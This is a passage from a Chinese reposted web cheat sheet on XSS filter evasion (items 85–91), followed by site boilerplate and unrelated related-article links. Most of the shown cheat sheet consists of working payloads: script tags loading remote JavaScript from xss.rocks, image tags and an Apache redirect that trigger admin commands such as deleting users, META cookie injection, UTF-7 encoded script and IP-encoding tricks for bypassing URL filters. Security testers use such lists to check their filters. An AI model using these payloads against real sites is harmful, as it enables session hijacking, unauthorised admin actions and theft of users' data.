需要服务器端安装了PHP来使用XSS攻击向量。同样,如果你可以远程运行任意脚本,那会有更加严重的问题:

<? echo('<SCR)';

echo('IPT>alert("XSS")</SCRIPT>'); ?>

86、嵌入命令的IMAGE

当页面受密码保护并且这个密码保护同样适用于相同域的不同页面时有效,这可以用来进行删除用户,增加用户(如果访问页面的是管理员的话),将密码发送到任意地方等等…这是一个较少使用当时更有价值的XSS攻击向量:

<IMG SRC="https://www.fujieace.com/somecommand.php?somevariables=maliciouscode">

87、嵌入命令的IMAGE II

这更加可怕因为这不包含任何可疑标识,除了它不在你自己的域名上。这个攻击向量使用一个302或304(其他的也有效)来重定向图片到指定命令。所以一个普通的对于访问图片链接的用户来说也有可能是一个攻击向量。下面是利用.htaccess(Apache)配置文件来实现攻击向量。(感谢Timo提供这部分。):

Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser

88、Cookie篡改

尽管公认不太实用,但是还是可以发现一些允许使用META标签的情况下可用它来覆写cookie。另外的例子是当用户访问网站页面时,一些网站读取并显示存储在cookie中的用户名,而不是数据库中。当这两种场景结合时,你可以修改受害者的cookie以便将JavaScript注入到其页面中(你可以使用这个让用户登出或改变他们的用户状态,甚至可以让他们以你的账户登录):

<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

89、UTF-7编码

如果存在XSS的页面没有提供页面编码头部,或者使用了任何设置为使用UTF-7编码的浏览器,就可以使用下列方式进行攻击(感谢Roman Ivanov提供)。这在任何不改变编码类型的现代浏览器上是无效的,这也是为什么标记为完全不支持的原因。Watchfire在Google的自定义404脚本中发现这个问题:

<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

90、利用HTML引号包含的XSS

这在IE中测试通过,但还得视情况而定。它是为了绕过那些允许"

<SCRIPT a=">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

这是为了绕过那些允许"

<SCRIPT =">" SRC="httx://xss.rocks/xss.js"></SCRIPT>

另一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:“(.)?"|'(.)?‘|[^’”>\s]+))?)+\s*|\s*)src/i"的XSS:

<SCRIPT a=">" '' SRC="httx://xss.rocks/xss.js"></SCRIPT>

又一个绕过正则过滤" /<script((\s+\w+(\s*=\s*(?:“(.)?"|'(.)?‘|[^’”>\s]+))?)+\s*|\s*)src/i"的XSS。尽管不想提及防御方法,但如果你想允许

<SCRIPT "a='>'" SRC="httx://xss.rocks/xss.js"></SCRIPT>

最后一个绕过此正则过滤" /<script((\s+\w+(\s*=\s*(?:“(.)?"|'(.)?‘|[^’”>\s]+))?)+\s*|\s*)src/i"的XSS,使用了重音符(在FireFox下无效):

<SCRIPT a=`>` SRC="httx://xss.rocks/xss.js"></SCRIPT>

这是一个XSS样例,用来绕过那些不会检查引号配对,而是发现任何引号就立即结束参数字符串的正则表达式:

<SCRIPT a=">'>" SRC="httx://xss.rocks/xss.js"></SCRIPT>

这个XSS很让人担心,因为如果不过滤所有活动内容几乎不可能防止此攻击:

<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="httx://xss.rocks/xss.js"></SCRIPT>

91、URL字符绕过

假定"http://www.google.com/"是不被允许的:

IP代替域名

<A HREF="http://66.102.7.147/">XSS</A>

URL编码

XSS

双字节编码

(注意:还有另一种双字节编码):

<A HREF="http://1113982867/">XSS</A>

十六进制编码

每个数字的允许的范围大概是240位字符,就如你在第二位上看到的,并且由于十六进制是在0到F之间,所以开头的0可以省略:

<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>

八进制编码

又一次允许填充,尽管你必须保证每类在4位字符以上-例如A类,B类等等:

<A HREF="http://0102.0146.0007.00000223/">XSS</A>

混合编码

让我们混合基本编码并在其中插入一些TAB和换行,虽然不知道浏览器为什么允许这样做。TAB和换行只有被引号包含时才有效:

<A HREF="h

ttp://6	6.000146.0x7.147/">XSS</A>

协议解析绕过

(// 替代http://可以节约很多字节).当输入空间有限时很有用(少两个字符可能解决大问题) 而且可以轻松绕过类似"(ht|f)tp(s)?

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

XSS攻击绕过过滤方法大全(转) 的相关文章

  • PHP XSS 预防白名单

    我的网站使用所见即所得编辑器 供用户更新帐户 输入评论和发送私人消息 编辑器 CKEditor 非常适合只允许用户输入有效的输入 但我担心通过 TamperData 或其他方式注入 我如何在服务器端控制这个 我需要将特定标签列入白名单 b
  • 最长和最短的 HTML 字符实体名称是什么? [关闭]

    这个问题不太可能对任何未来的访客有帮助 它只与一个较小的地理区域 一个特定的时间点或一个非常狭窄的情况相关 通常不适用于全世界的互联网受众 为了帮助使这个问题更广泛地适用 访问帮助中心 help reopen questions 管子周围有
  • 如何将 html 输入到 Flask 中?

    我有这个 html 位
  • 清理 AntiXSS v3 输出中的 html 编码文本(#decimal notation)

    我想在 XSS 安全的博客引擎中发表评论 尝试了很多不同的方法 但发现非常困难 当我显示评论时 我首先使用微软AntiXss 3 0 http www codeplex com AntiXSS对整个内容进行 html 编码 然后我尝试使用白
  • Electron 应用程序可以与 java 代码集成吗?

    由于node js仍然缺乏Java中存在的重要功能 因此我想使用Java而不是node js 并使用Web语言 html js css 创建客户端 Electron 是跨平台的 java 也是跨平台的 因此似乎有一个能够两全其美的解决方案
  • 在 html 中创建子页面 [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 假设我有一个网站http www example com http www example com 如何为此页面创建更多子页面 即 w
  • Ruby On Rails - 在控制器中使用关注点

    可能的菜鸟警告 刚接触 RoR 我正在尝试在 RoR 中使用关注点 现在我只写了一个非常简单的问题 app controllers concerns foo rb module Foo extend ActiveSupport Concer
  • 对同一域发出 get 请求,出现 CORS 错误

    在浏览器扩展中 这是我的 ajax 调用 var xhr new XMLHttpRequest xhr open GET window location href true xhr responseType arraybuffer xhr
  • 如何在odoo中重写js函数

    我想加载 shop checkout url 函数是 odoo define change info order website sale change info order function require use strict oe w
  • 我应该将标签存储在文本字段还是单独的表中?

    我有一个表 其中的行如下所示 id path tags 1 pictures pic1 jpg car bmw 3 pictures pic2 jpg cat animal pussy 4 pictures pic3 png gun 基本上
  • 如何安全地使用 fckEditor,而不存在跨站脚本风险?

    此链接描述了使用 fckEditor 对我的应用程序的利用 http knitinr blogspot com 2008 07 script exploit via fckeditor html http knitinr blogspot
  • Django - 缺少 1 个必需的位置参数:'request'

    我收到错误 get indiceComercioVarejista 缺少 1 个必需的位置参数 要求 当尝试访问 get indiceComercioVarejista 方法时 我不知道这是怎么回事 views from django ht
  • 在 Blogger 中使用相对链接

    我正在使用博主 当我需要在我的博客文章中提到一个链接并且该链接实际上是我自己的博客文章的链接时 我在其旁边提到标签 www my blog name blogspot in 12 2013 how to do html if i chang
  • 使用 php ping 网站

    我想创建一个 php 脚本 它将 ping 一个域并列出响应时间以及请求的总大小 这将用于监控网站网络 我尝试过curl 这是我到目前为止的代码 function curlTest2 url clearstatcache return if
  • 重新加载更新的 javascript> 代码而不完全重新加载 html 页面

    我正在开发一个单页 Web 应用程序 它具有许多不同的功能和形式 当开发一个深度 我的意思是主页上没有的 功能时 我会经历这个循环 开发代码 编辑类和函数 刷新整个页面 一路点击 直到到达我需要测试的部分 有时加起来大约一分钟 测试新代码
  • PHP Web 应用程序 (Magento) 遭到黑客攻击;这段黑客代码有什么作用?

    我刚刚安装的 Magento 1 3 2 4 被黑了 你能告诉我这段代码的目的是什么吗 另外 如何阻止这种情况以及如何发现漏洞 谢谢 function net match network ip ip arr explode network
  • VBA - 如何从网站下载.xls并将数据放入Excel文件

    我设法使用 VBA 达到准备从网络下载 Excel 文件的程度 但我无法弄清楚如何实际下载该文件并将其内容放入我正在使用的 Excel 文件中 有什么建议么 谢谢 这是到目前为止的代码 Sub GetData Dim IE As Inter
  • 为什么 [System.ComponentModel.ToolboxItem(false)] 默认出现在 Asp.net Web 服务中

    谁能告诉我为什么 System ComponentModel ToolboxItem false 是在Asp net Web服务中使用的吗 或许你可以在这里找到一些答案 NET API 浏览器 ToolboxItemAttribute 布尔
  • Azure Web 角色中的网站项目

    我正在研究一个新的 ASP Net 项目 我们希望将其托管在 Windows Azure Web 角色中 该项目的技术要求之一是利用 ASP Net 的完整预编译选项 不可更新 单页程序集 Web Site项目模型 与 ASP Net 相反
  • CSS3 与 JavaScript

    所以我试图在网页上创建一个动画 并试图找到一种使用 CSS3 来实现它的方法 但我对如何做到这一点感到非常困惑 我需要发生的是 当用户单击链接元素时 我希望 div 展开并填充特定于所单击的链接元素的内容 例如 当用户单击标题为 About

随机推荐

  • Temporary failure in name resolution

    File usr local lib python2 7 dist packages pip 9 0 1 py2 7 egg pip vendor cachecontrol adapter py line 47 in send resp s
  • 快速解决Row size too large. The maximum row size for the used table type, not counting BLOBs, is 8126问题

    42000 1118 Row size too large The maximum row size for the used table type not counting BLOBs is 8126 This includes stor
  • 前端工作过程遇到的问题总结(九)

    目录 JS中every 和some 的用法 置换元素和非置换元素 ES6的map数据类型转换 关于原生方法增加参数的问题 element增加参数 element ui中的表格el table滚动条样式修改 vue设置路由title 实现在v
  • Markdown表格合并单元格

    Markdown表格合并单元格 Markdown表格语法介绍 基本语法 属性1 属性2 属性3 value1 value1 value1 value2 value2 value2 实例 实现 属性名 含义 常用属性值 border 设置表格
  • 字节跳动面试官总结的SQL调优教程,让你调优就跟吃饭喝水一样简单,教你抓住SQL的本质!

    前言 SOL 优化并不简单 做好 SOL 优化需要掌握数据库体系结构 表和索引设计 高效 SOL法 高级 SOL 语法 多种优化工具等知识 甚至还得分析业务特点 以及了解优化器的缺点 只有建立 SOL 优化方法论体系 才能够迅速找到最适合的
  • Maven引入log4j日志

    1 1依赖导入
  • 6.4行为型模式——责任链模式

    在现实生活中 常常会出现这样的事例 一个请求有多个对象可以处理 但每个对象的处理条件或权限不同 例如 公司员工请假 可批假的领导有部门负责人 副总经理 总经理等 但每个领导能批准的天数不同 员工必须根据自己要请假的天数去找不同的领导签名 也
  • SQL-计算留存率cohort

    目录 1 留存率cohort介绍及其业务价值 2 计算思路 3 实操 3 1 日对日留存cohort 3 2 周对周留存cohort 3 3 月对月留存cohort 1 留存率cohort介绍及其业务价值 留存率cohort也叫做同期群留存
  • ssd-caffe中的annotationDatum数据结构

    这篇博客讲解的非常好 我这里只是搬运和总结 SSD目标检测lmdb数据结构剖析 先看一张图 完美解释了AnnotationDatum的数据结构 um的数据结 SSD读取数据 需要将label和图片封装到一个数据结构下 这时候老版本caffe
  • How to interview a programmer?

    Writing Better Code How to Interview a Programmer by Bill Venners February 24 2003 Summary Recognizing good programmers
  • TS 的准备工作

    在 JS 中 通常代码都需要进行到执行阶段时 才能开始对代码的语法进行验证 验证失败的代码才开始有报错提示 TypeScript 简称 TS 是 JS 的一个超集 TS 中包含 JS 的所有特性 同时又具备自己的新特性 一 环境搭建 浏览器
  • 跪了跪了!!继Thinking in java 4th 的后续其实是 On Java 8,而不是 Thinking in java 5

    之前购入thinking in java 4th 英文版 部头太大 也是第一次接触oop 业余时间学习 直接上这部书就是坏主意 不过好歹挺过来了 扫了一遍 写了个小安卓APP 但是很快发现 现在已经盛行java8了 java9页已经发布be
  • gom引擎传奇MapInfo.txt地图参数详解

    MapInfo txt地图参数详解gameofmir引擎为例D MirServer Mir200 Envir MapInfo txt功能 地图参数详解格式 无说明 无例 地图参数标志 说明 CHECKQUEST 进入本地图执行任务脚本 格式
  • linux上设置svn账户权限设置,Linux 部署 svn + 用户角色权限配置

    一 安装 1 安装SVN yum y install subversion 二 SVN配置 1 初始化仓库 1 创建仓库目录 mkdir home svn 2 创建仓库 svnadmin create home svn repo 测试导入文
  • .NET Core与.NET Framework、Mono之间的关系

    随着微软的 NET开源的推进 现在在 NET的实现上有了三个 NET Framework Mono和 NET Core 经常被问起Mono的稳定性怎么样 后续Mono的前景如何 要回答这个问题就需要搞清楚这三个 NET 实现之间的关系和将来
  • Ubuntu 22.04 配置静态IP

    1 桥接模式 NAT模式 参考博客 虚拟机上网设置 桥接模式 NAT模式 2 interfaces配置文件 interfaces 5 file used by ifup 8 and ifdown 8 auto lo iface lo ine
  • 论文中图片加方框 matlab代码

    转自 http blog csdn net majinlei121 article details 52334171 加方框函数 cpp view plain copy function I rgb DrawRectangle I Left
  • pymysql介绍

    一 数据库介绍 概念 一个存放数据的仓库 这个仓库按照一定的数据结构组织 存放 管理数据 分类 关系型数据库 mysql sql server oracle DB2等 非关系型数据库 redis等 python操作数据库的方式 pymysq
  • 传统制造型企业如何实现数字化转型?

    传统制造企业可以通过采用技术和数据驱动的方法来实现数字化转型 以改善运营 提高效率并在快速发展的行业中保持竞争力 以下是他们可以遵循的步骤和策略 1 评估和战略制定 评估当前状态 首先评估制造流程 技术基础设施和数据管理系统的当前状态 确定
  • XSS攻击绕过过滤方法大全(转)

    XSS攻击绕过过滤方法大全 约100种 文章目录 XSS攻击绕过过滤方法大全 约100种 1 XSS定位器 2 XSS定位器 短 3 无过滤绕过 4 利用多语言进行过滤绕过 5 通过JavaScript命令实现的图片XSS 6 无分号无引号